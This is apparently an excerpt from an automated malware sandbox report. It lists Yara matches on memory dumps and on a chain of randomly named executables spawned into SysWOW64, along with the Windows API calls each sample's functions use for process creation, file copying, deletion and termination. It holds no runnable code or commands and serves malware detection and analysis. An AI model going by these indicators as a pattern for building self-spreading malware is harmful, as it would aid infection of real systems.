Source: Yara match	File source: 00000013.00000002.2003694218.000000000042A000.00000004.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2022377114.000000000042A000.00000004.00000001.01000000.00000025.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1993494029.000000000042A000.00000004.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2013905191.000000000042A000.00000004.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2002333377.000000000042A000.00000004.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2030625851.000000000042A000.00000004.00000001.01000000.00000029.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1988867655.000000000042A000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2000063573.000000000042A000.00000004.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: h879iieoae.exe PID: 6496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Nejhbi32.exe PID: 6544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ogjdllpi.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Opbieagi.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oglabl32.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Olijjb32.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oeanchcn.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Oceoll32.exe PID: 6824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Onkcje32.exe PID: 6860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Odekfoij.exe PID: 6928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ojacofgb.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ppllkpoo.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plbmqa32.exe PID: 7092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Plgflqpn.exe PID: 7084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pqeoao32.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Qgcpihjl.exe PID: 2896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ajkolbad.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bmlhnnne.exe PID: 2056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bgamkfnl.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bqjacldl.exe PID: 2256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bnnampcf.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bnpnbp32.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bgibkegc.exe PID: 1740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Baagdk32.exe PID: 916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cfnpmb32.exe PID: 1188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ccapffke.exe PID: 7104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ceampi32.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cnjaioih.exe PID: 4284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Camgpi32.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dmfdkj32.exe PID: 7196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dnhmjm32.exe PID: 7212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Dfcboo32.exe PID: 7228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Edgbhcim.exe PID: 7244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Emogai32.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Efgkjnfn.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Eoappk32.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fkogfkdj.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fhedeo32.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Feidnc32.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Foaigifk.exe PID: 7368, type: MEMORYSTR

Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	0_2_00405C09
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 0_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	0_2_00405133
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	1_2_00405C09
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 1_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	1_2_00405133
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	2_2_00405C09
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 2_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	2_2_00405133
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	3_2_00405C09
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 3_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	3_2_00405133
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	4_2_00405C09
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	4_2_00405133
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	5_2_00405C09
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 5_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	5_2_00405133
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	6_2_00405C09
Source: C:\Windows\SysWOW64\Oeanchcn.exe	Code function: 6_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	6_2_00405133
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	7_2_00405C09
Source: C:\Windows\SysWOW64\Oceoll32.exe	Code function: 7_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	7_2_00405133
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	8_2_00405C09
Source: C:\Windows\SysWOW64\Onkcje32.exe	Code function: 8_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	8_2_00405133
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	9_2_00405C09
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	9_2_00405133
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	10_2_00405C09
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	10_2_00405133
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	11_2_00405C09
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	11_2_00405133
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	12_2_00405C09
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	12_2_00405133
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	13_2_00405C09
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	13_2_00405133
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	14_2_00405C09
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	14_2_00405133
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	15_2_00405C09
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	15_2_00405133
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	16_2_00405C09
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	16_2_00405133
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	17_2_00405C09
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	17_2_00405133
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	18_2_00405C09
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	18_2_00405133
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	19_2_00405C09
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	19_2_00405133
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	20_2_00405C09
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	20_2_00405133
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	21_2_00405C09
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	21_2_00405133
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	22_2_00405C09
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	22_2_00405133
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	23_2_00405C09
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	23_2_00405133
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	24_2_00405C09
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	24_2_00405133
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	25_2_00405C09
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	25_2_00405133
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	26_2_00405C09
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_00405133 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,InterlockedIncrement,memset,GetTickCount,srand,LocalFree,ExpandEnvironmentStringsA,LocalFree,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,Sleep,GetWindowTextA,DeleteFileA,LocalFree,TerminateProcess,CloseHandle,	26_2_00405133
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_00405C09 lstrlenA,GetTickCount,srand,InterlockedIncrement,memset,ExpandEnvironmentStringsA,strcat,strcat,memset,CreateProcessA,CloseHandle,sprintf,FindWindowA,Sleep,Sleep,GetWindowTextA,CopyFileA,DeleteFileA,lstrlenA,strncmp,lstrlenA,LocalFree,DeleteFileA,TerminateProcess,CloseHandle,	27_2_00405C09
